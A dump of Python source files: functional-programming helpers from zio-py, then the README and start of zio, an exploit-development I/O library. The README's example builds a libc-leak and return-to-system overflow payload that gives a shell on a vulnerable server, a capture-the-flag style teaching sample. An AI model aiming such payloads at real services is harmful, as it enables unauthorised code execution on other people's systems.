"EitherArrow[P, E, A]": return EitherArrow(lambda *args, **kwargs: either.map(lambda f: f(*args, **kwargs))) @staticmethod def from_callable(f: Callable[P, A]) -> "EitherArrow[P, NoReturn, A]": return EitherArrow(lambda *args, **kwargs: Either.right(f(*args, **kwargs))) @staticmethod def right(x: AA) -> "EitherArrow[[], NoReturn, AA]": return EitherArrow(lambda: Either.right(x)) @staticmethod def left(x: BB) -> "EitherArrow[[], BB, NoReturn]": return EitherArrow(lambda: Either.left(x)) identity: Final = _Identities() def __init__(self, f: Callable[P, Either[A, B]]) -> None: self._f = f def to_callable(self) -> "Callable[P, Either[A, B]]": return self._f def __call__(self, *args: P.args, **kwargs: P.kwargs) -> "Either[A, B]": return self._f(*args, **kwargs) def catch( self: "EitherArrow[P, E, AA]", exc: Type[X] ) -> "EitherArrow[P, Union[E, X], AA]": def _g(*args: P.args, **kwargs: P.kwargs) -> Either[Union[E, X], AA]: try: return self._f(*args, **kwargs) except exc as e: return Either.left(e) return EitherArrow(_g) def to_left(self: "EitherArrow[P, AA, NoReturn]") -> Callable[P, Left[AA]]: return lambda *args, **kwargs: self._f(*args, **kwargs).to_left() def to_right(self: "EitherArrow[P, NoReturn, BB]") -> Callable[P, Right[BB]]: return lambda *args, **kwargs: self._f(*args, **kwargs).to_right() def match( self, case_left: "Callable[[Left[A]], C1]", case_right: "Callable[[Right[B]], C2]" ) -> Callable[P, Union[C1, C2]]: return lambda *args, **kwargs: self._f(*args, **kwargs).match(case_left, case_right) def fold( self, case_left: "Callable[[A], C1]", case_right: "Callable[[B], C2]" ) -> Callable[P, Union[C1, C2]]: return lambda *args, **kwargs: self._f(*args, **kwargs).fold(case_left, case_right) def swap(self) -> "EitherArrow[P, B, A]": return EitherArrow(lambda *args, **kwargs: self._f(*args, **kwargs).swap()) def map(self, f: Callable[[B], C]) -> "EitherArrow[P, A, C]": return EitherArrow(lambda *args, **kwargs: self._f(*args, **kwargs).map(f)) def map_left(self, f: Callable[[A], C]) -> "EitherArrow[P, C, B]": return EitherArrow(lambda *args, **kwargs: self._f(*args, **kwargs).map_left(f)) def flat_map(self, f: "Callable[[B], Either[AA, C]]") -> "EitherArrow[P, Union[A, AA], C]": return EitherArrow(lambda *args, **kwargs: self._f(*args, **kwargs).flat_map(f)) def __lshift__(self, f: "Callable[[B], Either[AA, C]]") -> "EitherArrow[P, Union[A, AA], C]": return self.flat_map(f) def flatten( self: "EitherArrow[P, A1, Either[AA, BB]]" ) -> "EitherArrow[P, Union[A1, AA], BB]": return EitherArrow(lambda *args, **kwargs: self._f(*args, **kwargs).flatten()) def require( self, predicate: Callable[[B], bool], to_error: Callable[[B], AA] ) -> "EitherArrow[P, Union[A, AA], B]": return EitherArrow( lambda *args, **kwargs: self._f(*args, **kwargs).require(predicate, to_error) ) def asserting( self, predicate: Callable[[B], bool], to_error: Callable[[B], X] ) -> "EitherArrow[P, A, B]": return EitherArrow( lambda *args, **kwargs: self._f(*args, **kwargs).asserting(predicate, to_error) ) def or_else(self, other: "EitherArrow[P, AA, BB]") -> "EitherArrow[P, A | AA, B | BB]": return EitherArrow( lambda *args, **kwargs: self._f(*args, **kwargs).match( lambda _: other(*args, **kwargs), lambda a: a ) ) def raise_errors(self: "EitherArrow[P, AA, BB]") -> "EitherArrow[P, NoReturn, BB]": return EitherArrow(lambda *args, **kwargs: self._f(*args, **kwargs).raise_errors()) def tap(self, op: "Callable[[Either[A, B]], Any]") -> "EitherArrow[P, A, B]": return EitherArrow(lambda *args, **kwargs: self._f(*args, **kwargs).tap(op)) def display(self, description: Optional[str] = None) -> "EitherArrow[P, A, B]": return EitherArrow(lambda *args, **kwargs: self._f(*args, **kwargs).display(description)) def to_union(self) -> Callable[P, Union[A, B]]: return lambda *args, **kwargs: self._f(*args, **kwargs).to_union() def cast(self: "EitherArrow[P, AA, BB]", t: Type[C]) -> "EitherArrow[P, Union[AA, TypeError], C]": return EitherArrow(lambda *args, **kwargs: self._f(*args, **kwargs).cast(t)) def __getitem__(self: "EitherArrow[P, AA, GetItem[B1, C1]]", key: B1) -> "EitherArrow[P, AA, C1]": return EitherArrow( lambda *args, **kwargs: self._f(*args, **kwargs).map(lambda x: x[key]) ) def match_types(self: "EitherArrow[P, AA, BB]") -> "EitherArrow[P, AA, NoReturn]": def _f(arg: BB) -> NoReturn: raise TypeMatchException(arg) return self.map(_f) def at_type( self: "EitherArrow[P, AA, BB]", target_type: Type[B2], operation: "Callable[[B2], Either[A2, C]]" ) -> "EitherArrow[P, Union[AA, A2], Union[BB, C]]": def _recover(arg: Union[BB, TypeMatchException]) -> Either[A2, Union[BB, C]]: if not isinstance(arg, TypeMatchException): return Either.right(arg) if isinstance(arg.value, target_type): return operation(arg.value) else: raise arg from arg return ( self.swap() .catch(TypeMatchException) .swap() .flat_map(_recover) ) def with_args_map( self: "EitherArrow[P, AA, BB]", f: WithArgs[P, BB, C] ) -> "EitherArrow[P, AA, C]": return EitherArrow(lambda *args, **kwargs: self._f(*args, **kwargs).map(lambda x: f(*args, **kwargs)(x))) def with_args_flat_map( self: "EitherArrow[P, A, BB]", f: WithArgs[P, BB, Either[AA, C]] ) -> "EitherArrow[P, Union[A, AA], C]": return EitherArrow(lambda *args, **kwargs: self._f(*args, **kwargs).flat_map(lambda x: f(*args, **kwargs)(x))) def with_args_map_left( self: "EitherArrow[P, AA, B]", f: WithArgs[P, AA, C] ) -> "EitherArrow[P, C, B]": return EitherArrow(lambda *args, **kwargs: self._f(*args, **kwargs).map_left(lambda x: f(*args, **kwargs)(x)))
zio-py
/zio_py-0.0.16.tar.gz/zio_py-0.0.16/ziopy/either.py
either.py
import functools from abc import ABCMeta from dataclasses import dataclass from typing import Callable, Generic, TypeVar, overload from typing_extensions import TypeAlias A = TypeVar("A") R = TypeVar("R") H = TypeVar("H", covariant=True) T = TypeVar("T", covariant=True, bound="HList") class HList(metaclass=ABCMeta): def prepend(self: T, head: A) -> "HCons[A, T]": return HCons(head, self) def __rpow__(self: T, head: A) -> "HCons[A, T]": return self.prepend(head) @dataclass(frozen=True) class HNil(HList): def apply(self, f: Callable[[], R]) -> R: return f() def apply_0(self, f: Callable[[], R]) -> R: return f() @dataclass(frozen=True) class HCons(Generic[H, T], HList): head: H tail: T T1 = TypeVar("T1") T2 = TypeVar("T2") T3 = TypeVar("T3") T4 = TypeVar("T4") T5 = TypeVar("T5") T6 = TypeVar("T6") T7 = TypeVar("T7") T8 = TypeVar("T8") T9 = TypeVar("T9") T10 = TypeVar("T10") T11 = TypeVar("T11") T12 = TypeVar("T12") T13 = TypeVar("T13") T14 = TypeVar("T14") T15 = TypeVar("T15") # TODO: If mypy's ParamSpec actually worked as expected, lots of this boilerplate # would go away. In the meantime, behold the horror. HList1: TypeAlias = HCons[T1, HNil] HList2: TypeAlias = HCons[T1, HList1[T2]] HList3: TypeAlias = HCons[T1, HList2[T2, T3]] HList4: TypeAlias = HCons[T1, HList3[T2, T3, T4]] HList5: TypeAlias = HCons[T1, HList4[T2, T3, T4, T5]] HList6: TypeAlias = HCons[T1, HList5[T2, T3, T4, T5, T6]] HList7: TypeAlias = HCons[T1, HList6[T2, T3, T4, T5, T6, T7]] HList8: TypeAlias = HCons[T1, HList7[T2, T3, T4, T5, T6, T7, T8]] HList9: TypeAlias = HCons[T1, HList8[T2, T3, T4, T5, T6, T7, T8, T9]] HList10: TypeAlias = HCons[T1, HList9[T2, T3, T4, T5, T6, T7, T8, T9, T10]] HList11: TypeAlias = HCons[T1, HList10[T2, T3, T4, T5, T6, T7, T8, T9, T10, T11]] @overload def hlisted(f: Callable[[], R]) -> Callable[[HNil], R]: ... @overload def hlisted(f: Callable[[T1], R]) -> Callable[[HList1[T1]], R]: ... @overload def hlisted(f: Callable[[T1, T2], R]) -> Callable[[HList2[T1, T2]], R]: ... @overload def hlisted(f: Callable[[T1, T2, T3], R]) -> Callable[[HList3[T1, T2, T3]], R]: ... @overload def hlisted(f: Callable[[T1, T2, T3, T4], R]) -> Callable[[HList4[T1, T2, T3, T4]], R]: ... @overload def hlisted(f: Callable[[T1, T2, T3, T4, T5], R]) -> Callable[[HList5[T1, T2, T3, T4, T5]], R]: ... @overload def hlisted(f: Callable[[T1, T2, T3, T4, T5, T6], R]) -> Callable[[HList6[T1, T2, T3, T4, T5, T6]], R]: ... @overload def hlisted(f: Callable[[T1, T2, T3, T4, T5, T6, T7], R]) -> Callable[[HList7[T1, T2, T3, T4, T5, T6, T7]], R]: ... @overload def hlisted(f: Callable[[T1, T2, T3, T4, T5, T6, T7, T8], R]) -> Callable[[HList8[T1, T2, T3, T4, T5, T6, T7, T8]], R]: ... @overload def hlisted(f: Callable[[T1, T2, T3, T4, T5, T6, T7, T8, T9], R]) -> Callable[[HList9[T1, T2, T3, T4, T5, T6, T7, T8, T9]], R]: ... @overload def hlisted(f: Callable[[T1, T2, T3, T4, T5, T6, T7, T8, T9, T10], R]) -> Callable[[HList10[T1, T2, T3, T4, T5, T6, T7, T8, T9, T10]], R]: ... def hlisted(f: Callable[..., R]) -> Callable[..., R]: def g(hlist: HList) -> R: if isinstance(hlist, HNil): return f() elif isinstance(hlist, HCons): # Partially apply f with Head=T1 to get a function # `T2, T3, T4, ... -> R` f_partial = functools.partial(f, hlist.head) # now hlist the partially applied function f_partial_hlisted = hlisted(f_partial) # Apply it to the tail return f_partial_hlisted(hlist.tail) else: raise TypeError return g
zio-py
/zio_py-0.0.16.tar.gz/zio_py-0.0.16/ziopy/hlist.py
hlist.py
import builtins from abc import ABCMeta, abstractmethod from typing import Callable, List, NoReturn, Optional, TypeVar, Union import ziopy.services.mock_effects.console as console_effect from typing_extensions import Literal, Protocol from ziopy.either import Either, EitherArrow, Right from ziopy.services.system import HasSystem, System from ziopy.zio import ZIO, Environment, ZIOArrow, ZIOMonad, monadic_method A = TypeVar('A') E = TypeVar('E') class Console(metaclass=ABCMeta): @abstractmethod def print(self, line: str) -> ZIO[object, NoReturn, None]: pass # pragma: nocover @abstractmethod def input( self, prompt: Optional[str] = None ) -> ZIO[object, Union[EOFError, KeyboardInterrupt], str]: pass # pragma: nocover @monadic_method def get_input_from_console( self, do: ZIOMonad[System, NoReturn], prompt: str, parse_value: Callable[[str], Either[E, A]], default_value: Optional[A] ) -> ZIO[System, NoReturn, A]: while True: keyboard_input = do << ( self.input(prompt) .either() .map(lambda e: e.to_union()) ) if isinstance(keyboard_input, (EOFError, KeyboardInterrupt)): do << self.print("") system = do << Environment() return system.exit() if keyboard_input == '' and default_value is not None: return ZIO.succeed(default_value) parse_result = parse_value(keyboard_input) if isinstance(parse_result, Right): return ZIO.succeed(parse_result.value) @monadic_method def ask( self, do: ZIOMonad[System, NoReturn], prompt: str, default: Literal['y', 'n'] ) -> ZIO[System, NoReturn, bool]: default_str = 'Y/n' if default == 'y' else 'y/N' choice = do << self.get_input_from_console( prompt=f"{prompt} [{default_str}]: ", parse_value=( EitherArrow.from_callable(str) .map(str.lower) .require(lambda s: s in {'y', 'n'}, lambda s: s) ), default_value=default ) return ZIO.succeed(choice == 'y') class LiveConsole(Console): def print(self, line: str) -> ZIO[object, NoReturn, None]: return ZIO.effect_total(lambda: builtins.print(line)) def input( self, prompt: Optional[str] = None ) -> ZIO[object, Union[EOFError, KeyboardInterrupt], str]: return ( ZIO.effect_catch( lambda: builtins.input(prompt) if prompt is not None else builtins.input(), EOFError ) .catch(KeyboardInterrupt) ) class MockConsole(Console): def __init__(self, user_input: Optional[List[Union[EOFError, KeyboardInterrupt, str]]] = None) -> None: self._effects: List[Union[console_effect.Print, console_effect.Input]] = [] if user_input is None: user_input = [] self._user_input = user_input def print(self, line: str) -> ZIO[object, NoReturn, None]: self._effects.append(console_effect.Print(line)) return ZIO.succeed(None) def input( self, prompt: Optional[str] = None ) -> ZIO[object, Union[EOFError, KeyboardInterrupt], str]: user_input = self._user_input.pop(0) self._effects.append(console_effect.Input(prompt, user_input)) if isinstance(user_input, str): return ZIO.succeed(user_input) else: result: Union[EOFError, KeyboardInterrupt] = user_input return ZIO.fail(result) @property def effects(self) -> List[Union[console_effect.Print, console_effect.Input]]: return self._effects @property def user_input(self) -> List[Union[EOFError, KeyboardInterrupt, str]]: return self._user_input class HasConsole(Protocol): @property def console(self) -> Console: pass # pragma: nocover print = ( ZIOArrow.from_zio( Environment[HasConsole]() .map(lambda env: env.console.print) ) .flatten() .to_callable() ) input = ( ZIOArrow.from_zio( Environment[HasConsole]() .map(lambda env: env.console.input) ) .flatten() .to_callable() ) class HasConsoleSystem(HasConsole, HasSystem, Protocol): pass def get_input_from_console( prompt: str, parse_value: Callable[[str], Either[E, A]], default_value: Optional[A] ) -> ZIO[HasConsoleSystem, NoReturn, A]: return ( Environment[HasConsoleSystem]() .flat_map( lambda env: env.console.get_input_from_console( prompt, parse_value, default_value ).provide(env.system) ) ) def ask(prompt: str, default: Literal['y', 'n']) -> ZIO[HasConsoleSystem, NoReturn, bool]: return Environment[HasConsoleSystem]().flat_map( lambda env: env.console.ask(prompt, default).provide(env.system) )
zio-py
/zio_py-0.0.16.tar.gz/zio_py-0.0.16/ziopy/services/console.py
console.py
# zio [![Build Status](https://travis-ci.org/zTrix/zio.png)](https://travis-ci.org/zTrix/zio) [![support-version](https://img.shields.io/pypi/pyversions/zio)](https://img.shields.io/pypi/pyversions/zio) [zio] is an easy-to-use io library for pwning development, supporting an unified interface for local process pwning and TCP socket io. The primary goal of [zio] is to provide unified io interface between process stdin/stdout and TCP socket io. So when you have done local pwning development, you only need to change the io target to pwn the remote server. The following code illustrate the basic idea. ```python from zio import * is_local = True if is_local: io = zio('./buggy-server') # used for local pwning development else: io = zio(('1.2.3.4', 1337)) # used to exploit remote service io.read_until(b'Welcome Banner') io.write(your_awesome_ropchain_or_shellcode) # hey, we got an interactive shell! io.interact() ``` ## Advantage - Self contained single file installation, no extra dependency required. Copy it as you go and fire with no pain even without internet access. - Support both python2 and python3, no need to worry about the python version installed on some weired jump server provided by unknown. - Easy to learn and use. If you want advanced features such as ELF parsing and more, try [pwntools](https://github.com/Gallopsled/pwntools). ## License [zio] use [SATA License](LICENSE.txt) (Star And Thank Author License), so you have to star this project before using. Read the [license](LICENSE.txt) carefully. ## Working Environment - Linux or OSX - Python 2.6, 2.7, 3.x for windows support, a minimal version(socket-io only) [mini_zio](./mini_zio.py) is provided. ## Installation This is a single-file project so in most cases you can just download [zio.py](https://raw.githubusercontent.com/zTrix/zio/master/zio.py) and start using. pip is also supported, so you can also install by running ```bash $ pip install zio ``` ## Examples ```python from zio import * is_local = True if is_local: io = zio('./buggy-server') else: io = zio((pwn.server, 1337)) for i in range(1337): io.writeline(b'add ' + str(i)) io.read_until(b'>>') io.write(b"add TFpdp1gL4Qu4aVCHUF6AY5Gs7WKCoTYzPv49QSa\ninfo " + b"A" * 49 + b"\nshow\n") io.read_until(b'A' * 49) libc_base = l32(io.read(4)) - 0x1a9960 libc_system = libc_base + 0x3ea70 libc_binsh = libc_base + 0x15fcbf payload = b'A' * 64 + l32(libc_system) + b'JJJJ' + l32(libc_binsh) io.write(b'info ' + payload + b"\nshow\nexit\n") io.read_until(b">>") # We've got a shell;-) io.interact() ``` ## Document ### bytes vs unicode zio works at `bytes` level. All params and return value should be bytes. (Although some methods support unicode for compatibility and fault tolerance) The recommended practice is to use b'xxx' everywhere, which is supported by both python2 and python3 without ambiguity. ### about line break and carriage return Just don't read b'\n' or b'\r', use `read_line()` instead ### example for SSL wrapped socket ``` hostname = 'xxx.com' host = '111.22.33.44' port = 31337 context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ssl_sock = context.wrap_socket(s, server_hostname=hostname) ssl_sock.connect((host, port)) io = zio(ssl_sock) ... ``` ### Play with cmdline Act like netcat ``` $ printf 'GET / HTTP/1.0\r\n\r\n' | ./zio.py baidu.com 80 ``` Unhex ``` $ echo '3334350a' | ./zio.py -d unhex -w none -r none -i pipe -o pipe --show-input=0 cat 345 ``` hexcat some file ``` $ cat somefile | ./zio.py -e hex -w none -r none -i pipe -o pipe --show-input=0 cat ``` show file in string repr ``` $ cat somefile | ./zio.py -e repr -w none -r none -i pipe -o pipe --show-input=0 cat ``` log vim key sequences and underlying io ``` $ zio --debug=zio.log vim ``` ### Other fun usage Talk with vim using code. ``` In [1]: from zio import * In [2]: io = zio('vim', stdin=TTY, stdout=TTY) In [3]: io.writeline(b'ihello world') ihello world Out[3]: 13 In [4]: io.writeline(b'\x1b:w hand_crafted_vim_file.txt') w hand_crafted_vim_file.txt Out[4]: 30 In [5]: io.writeline(b':q') :q Out[5]: 3 In [6]: io.exit_status() Out[6]: 0 In [7]: !cat hand_crafted_vim_file.txt hello world ``` You can even talk with vim for prefix and then interact by hand to continue normal action. ## Thanks (Also references) - [pexpect](https://github.com/pexpect/pexpect) borrowed a lot of code from here - [sh](https://github.com/amoffat/sh) - python subprocess module - TTY related - http://linux.die.net/man/3/cfmakeraw - http://marcocorvi.altervista.org/games/lkpe/tty/tty.htm - http://www.linusakesson.net/programming/tty/ [zio]:https://github.com/zTrix/zio
zio
/zio-2.1.3.tar.gz/zio-2.1.3/readme.md
readme.md
from __future__ import print_function from __future__ import division __version__ = "2.1.3" __project__ = "https://github.com/zTrix/zio" import os import sys import re import struct import functools import socket import signal import ast import time import datetime import errno import select import binascii import tempfile # for ProcessIO below import pty import shlex import fcntl import gc import atexit import resource import termios import tty try: # works for python2.6 python2.7 and python3 from distutils.spawn import find_executable except ImportError: # some stupid ubuntu def find_executable(executable, path=None): """Tries to find 'executable' in the directories listed in 'path'. A string listing directories separated by 'os.pathsep'; defaults to os.environ['PATH']. Returns the complete filename or None if not found. """ if os.path.isfile(executable): return executable if path is None: path = os.environ.get('PATH', os.defpath) if not path: return None paths = path.split(os.pathsep) base, ext = os.path.splitext(executable) for p in paths: f = os.path.join(p, executable) if os.path.isfile(f): # the file exists, we have a shot at spawn working return f return None # we want to keep zio as a zero-dependency single-file easy-to-use library, and even more, work across python2/python3 boundary # https://python-future.org/compatible_idioms.html#unicode-text-string-literals python_version_major = sys.version_info[0] # do not use sys.version_info.major which is not available in python2.6 # python2 python3 shim if python_version_major < 3: input = raw_input # pylint: disable=undefined-variable class TimeoutError(OSError): pass # from ptyprocess.py, issubclass(TimeoutError, OSError) == True else: unicode = str unichr = chr try: from io import BytesIO except ImportError: from StringIO import StringIO as BytesIO if True: # termcolor handled using bytes instead of unicode # since termcolor use MIT license, SATA license above should be OK ATTRIBUTES = dict( list(zip([ 'bold', 'dark', '', 'underline', 'blink', '', 'reverse', 'concealed' ], list(range(1, 9))))) del ATTRIBUTES[''] HIGHLIGHTS = dict( list(zip([ 'on_grey', 'on_red', 'on_green', 'on_yellow', 'on_blue', 'on_magenta', 'on_cyan', 'on_white' ], list(range(40, 48))))) COLORS = dict(list(zip(['grey', 'red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'white', ], list(range(30, 38))))) RESET = b'\033[0m' def colored(text, color=None, on_color=None, attrs=None): fmt_str = b'\033[%dm%s' if color is not None: text = fmt_str % (COLORS[color], text) if on_color is not None: text = fmt_str % (HIGHLIGHTS[on_color], text) if attrs is not None: for attr in attrs: text = fmt_str % (ATTRIBUTES[attr], text) text += RESET return text # ------------------------------------------------- # =====> packing/unpacking related functions <===== def convert_packing(endian, bits, arg, autopad=False, automod=True): """ given endian, bits spec, do the following convert between bytes <--> int convert between bytes <--> [int] params: endian: < for little endian, > for big endian bits: bit size of packing, valid values are 8, 16, 32, 64 arg: integer or bytes autopad: auto pad input string to required length if needed """ pfs = {8: 'B', 16: 'H', 32: 'I', 64: 'Q'} if isinstance(arg, unicode): arg = arg.encode('latin-1') if isinstance(arg, bytearray): arg = bytes(arg) if isinstance(arg, bytes): # bytes -> int or [int] c = bits // 8 r = len(arg) % c if r != 0: if autopad: arg = arg[:len(arg) // c * c] + (arg[-r:].ljust(c, b'\x00') if endian == '<' else arg[-r:].rjust(c, b'\x00')) else: raise ValueError('bad input length, expected multiple of %d, got %d. Fix length manually or use autopad=True' % (c, len(arg))) unpacked = struct.unpack(endian + pfs[bits] * (len(arg) // c), arg) return list(unpacked) if len(unpacked) > 1 else unpacked[0] else: # int or [int] -> bytes args = list(arg) if isinstance(arg, (list, tuple)) else [arg] if automod: args = [i % (1<<bits) for i in args] return struct.pack(endian + pfs[bits] * len(args), *args) l8 = functools.partial(convert_packing, '<', 8) b8 = functools.partial(convert_packing, '>', 8) l16 = functools.partial(convert_packing, '<', 16) b16 = functools.partial(convert_packing, '>', 16) l32 = functools.partial(convert_packing, '<', 32) b32 = functools.partial(convert_packing, '>', 32) l64 = functools.partial(convert_packing, '<', 64) b64 = functools.partial(convert_packing, '>', 64) # ------------------------------------------------- # =====> utility functions <===== def bytes2hex(s): ''' Union{bytes, unicode} -> bytes ''' if isinstance(s, unicode): s = s.encode('latin-1') return binascii.hexlify(s) def hex2bytes(s, autopad=False): ''' bytes -> bytes ''' if isinstance(s, unicode): s = s.encode('latin-1') s = s.strip() if len(s) % 2 == 1: if autopad == 'left' or autopad == True: s = b'0' + s elif autopad == 'right': s = s + b'0' else: raise ValueError('invalid length of hex bytes: %d, should be multiple of 2. Use autopad=True to fix automatically' % len(s)) return binascii.unhexlify(s) tohex = bytes2hex unhex = hex2bytes if python_version_major < 3: def xor(a, b): ''' bytes -> bytes -> bytes the first param a must be longer than or equal to the length of the second param ''' return b''.join([chr(ord(c) ^ ord(b[i % len(b)])) for i, c in enumerate(a)]) else: def xor(a, b): ''' bytes -> bytes -> bytes the first param a must be longer than or equal to the length of the second param ''' return bytes([c ^ b[i % len(b)] for i, c in enumerate(a)]) def is_hostport_tuple(target): return type(target) == tuple and len(target) == 2 and isinstance(target[1], int) and target[1] >= 0 and target[1] < 65536 def match_pattern(pattern, byte_buf): ''' pattern -> byte_buf -> index span # (-1, -1) for not found) pattern could be bytes or re objects or lambda function which returns index span ''' if isinstance(pattern, unicode): pattern = pattern.encode('latin-1') if isinstance(pattern, bytes): i = byte_buf.find(pattern) if i > -1: return (i, i + len(pattern)) else: return (-1, -1) elif hasattr(pattern, 'match') and hasattr(pattern, 'search'): mo = pattern.search(byte_buf) if not mo: return (-1, -1) else: return mo.span() elif callable(pattern): return pattern(byte_buf) def write_stdout(data): if hasattr(sys.stdout, 'buffer'): sys.stdout.buffer.write(data) else: if python_version_major < 3: sys.stdout.write(data) else: sys.stdout.write(data.decode()) sys.stdout.flush() def write_stderr(data): if hasattr(sys.stderr, 'buffer'): sys.stderr.buffer.write(data) else: if python_version_major < 3: sys.stderr.write(data) else: sys.stderr.write(data.decode()) sys.stderr.flush() def write_debug(f, data, show_time=True, end=b'\n'): if not f: return if isinstance(data, unicode): data = data.encode('latin-1') if show_time: now = datetime.datetime.now().strftime('[%Y-%m-%d_%H:%M:%S]').encode() f.write(now) f.write(b' ') f.write(data) if end: f.write(end) f.flush() def ttyraw(fd, when=tty.TCSAFLUSH, echo=False, raw_in=True, raw_out=False): mode = tty.tcgetattr(fd)[:] if raw_in: mode[tty.IFLAG] = mode[tty.IFLAG] & ~(tty.BRKINT | tty.ICRNL | tty.INPCK | tty.ISTRIP | tty.IXON) mode[tty.CFLAG] = mode[tty.CFLAG] & ~(tty.CSIZE | tty.PARENB) mode[tty.CFLAG] = mode[tty.CFLAG] | tty.CS8 if echo: mode[tty.LFLAG] = mode[tty.LFLAG] & ~(tty.ICANON | tty.IEXTEN | tty.ISIG) else: mode[tty.LFLAG] = mode[tty.LFLAG] & ~(tty.ECHO | tty.ICANON | tty.IEXTEN | tty.ISIG) if raw_out: mode[tty.OFLAG] = mode[tty.OFLAG] & ~(tty.OPOST) mode[tty.CC][tty.VMIN] = 1 mode[tty.CC][tty.VTIME] = 0 tty.tcsetattr(fd, when, mode) # ------------------------------------------------- # =====> zio class modes and params <===== PIPE = 'pipe' # io mode (process io): send all characters untouched, but use PIPE, so libc cache may apply TTY = 'tty' # io mode (process io): normal tty behavier, support Ctrl-C to terminate, and auto \r\n to display more readable lines for human TTY_RAW = 'ttyraw' # io mode (process io): send all characters just untouched def COLORED(f, color='cyan', on_color=None, attrs=None): return lambda s : colored(f(s), color, on_color, attrs) # read/write transform functions # bytes -> (printable) bytes if python_version_major < 3: def REPR(s): return b'b' + repr(s) + b'\r\n' else: def REPR(s): return str(s).encode() + b'\r\n' def EVAL(s): # now you are not worried about pwning yourself, do not use ast.literal_eval because of 1. encoding issue 2. we only eval string st = 0 # 0 for normal, 1 for escape, 2 for \xXX ret = [] i = 0 while i < len(s): c = s[i:i+1] # current byte, for python2/3 compatibility if st == 0: if c == b'\\': st = 1 else: ret.append(c) elif st == 1: if c in (b'"', b"'", b"\\", b"t", b"n", b"r"): if c == b't': ret.append(b'\t') elif c == b'n': ret.append(b'\n') elif c == b'r': ret.append(b'\r') else: ret.append(c) st = 0 elif c == b'x': st = 2 else: raise ValueError('invalid repr of str %s' % s) else: num = int(s[i:i+2], 16) assert 0 <= num < 256 if python_version_major < 3: ret.append(chr(num)) else: ret.append(bytes([num])) st = 0 i += 1 i += 1 return b''.join(ret) def HEX(s): return bytes2hex(s) + b'\r\n' TOHEX = HEX def UNHEX(s): return hex2bytes(s) def HEXDUMP(byte_buf, width=16, indent=0): length = len(byte_buf) lines = (length // width) + (length % width != 0) ret = [] printable_low = b' ' printable_high = b'~' hexcode_width = 0 for lino in range(lines): index_begin = lino * width line = byte_buf[index_begin:index_begin+width] prefix = format('%08x' % index_begin).encode() hexcode = b'' printable = b'' for gi in range(0, len(line), 2): gd = line[gi:gi+2] hexcode += b' ' + binascii.hexlify(gd) printable += gd[0:1] if printable_low <= gd[0:1] <= printable_high else b'.' if len(gd) == 2: printable += gd[1:2] if printable_low <= gd[1:2] <= printable_high else b'.' if len(hexcode) > hexcode_width: hexcode_width = len(hexcode) elif len(hexcode) < hexcode_width: hexcode = hexcode.ljust(hexcode_width, b' ') ret.append(b'%s%s:%s %s\n' % (b' ' * indent, prefix, hexcode, printable)) return b''.join(ret) HEXDUMP_INDENT4 = functools.partial(HEXDUMP, indent=4) HEXDUMP_INDENT8 = functools.partial(HEXDUMP, indent=8) HEXDUMP_INDENT16 = functools.partial(HEXDUMP, indent=16) if python_version_major < 3: def BIN(s): return b' '.join([format(ord(x),'08b') for x in str(s)]) + b'\r\n' else: def BIN(s): return b' '.join([format(x,'08b').encode() for x in s]) + b'\r\n' def UNBIN(s, autopad=False): s = bytes(filter(lambda x: x in b'01', s)) if len(s) % 8 != 0: extra = 8 - len(s) % 8 if autopad == 'left' or autopad == True: s = (b'0' * extra) + s elif autopad == 'right': s = s + (b'0' * extra) else: raise ValueError('invalid length of 01 bytestring: %d, should be multiple of 8. Use autopad=True to fix automatically' % len(s)) if python_version_major < 3: return b''.join([chr(int(s[x:x+8],2)) for x in range(0, len(s), 8)]) else: return bytes([int(s[x:x+8],2) for x in range(0, len(s), 8)]) def RAW(s): return s def NONE(s): return b'' # ------------------------------------------------- # =====> zio helper functions <===== def select_ignoring_useless_signal(iwtd, owtd, ewtd, timeout=None): '''This is a wrapper around select.select() that ignores signals. If select.select raises a select.error exception and errno is an EINTR error then it is ignored. Mainly this is used to ignore sigwinch (terminal resize). ''' # if select() is interrupted by a signal (errno==EINTR) then # we loop back and enter the select() again. if timeout is not None: end_time = time.time() + timeout while True: try: return select.select(iwtd, owtd, ewtd, timeout) except select.error as err: if select.error == OSError: # python3 style eno = err.errno else: err = sys.exc_info()[1] # python2 style eno = err[0] if eno == errno.EINTR: # if we loop back we have to subtract the # amount of time we already waited. if timeout is not None: timeout = end_time - time.time() if timeout < 0: return([], [], []) else: # something else caused the select.error, so # this actually is an exception. raise # zio class here class zio(object): ''' zio: unified io interface for both socket io and process io ''' def __init__(self, target, # common params timeout=None, logfile=None, print_read=True, print_write=True, debug=None, # ProcessIO params stdin=PIPE, stdout=TTY_RAW, cwd=None, env=None, sighup=signal.SIG_DFL, write_delay=0.05, read_echoback=True, ): """ zio is an easy-to-use io library for pwning development, supporting an unified interface for local process pwning and remote tcp socket io note that zio fully operates at bytes level instead of unicode, so remember to use bytes when passing arguments to zio methods example: io = zio(('localhost', 80), print_read=COLORED(RAW, 'yellow'), print_write=HEX) io = zio(socket.create_connection(('127.0.0.1', 80))) io = zio('ls -l') io = zio(['ls', '-l']) params: target(required): the target object for zio to operate with, could be socket (addr, port) tuple, or connected socket object, or cmd line for spawning process print_read: bool | [COLORED]{NONE, RAW, REPR, HEX}, if set, transform and print all the data read from target print_write: bool | [COLORED]{NONE, RAW, REPR, HEX}, if set, transform and print all the data sent out timeout: int, the global timeout for this zio object logfile: where to print traffic data in or out from target, default to sys.stderr debug: if set to a file object(must be opened using binary mode), will provide info for debugging zio internal. leave it to None by default. stdin(ProcessIO only): {PIPE, TTY, TTY_RAW} which mode to choose for child process stdin, PIPE is recommended for programming interface, since you will need to take care of tty control chars by hand when call write methods if stdin set to TTY mode. stdout(ProcessIO only): {PIPE, TTY, TTY_RAW} which mode to choose for child process stdout cwd(ProcessIO only): the working directory to spawn child process env(ProcessIO only): env variables for child process write_delay(ProcessIO only): write delay for child process to prevent writing too fast """ if not target: raise ValueError('cmdline or socket not provided for zio, try zio("ls -l")') self.target = target self.print_read = print_read self.print_write = print_write if logfile is None: self.logfile = sys.stderr else: self.logfile = logfile # must be opened using 'rb' # zio object itself is a buffered reader/writer self.buffer = bytearray() self.debug = debug if isinstance(timeout, (int, float)) and timeout > 0: self.timeout = timeout else: self.timeout = 10 if is_hostport_tuple(self.target) or isinstance(self.target, socket.socket): self.io = SocketIO(self.target, timeout=self.timeout, debug=debug) else: self.io = ProcessIO(self.target, timeout=self.timeout, debug=debug, stdin=stdin, stdout=stdout, 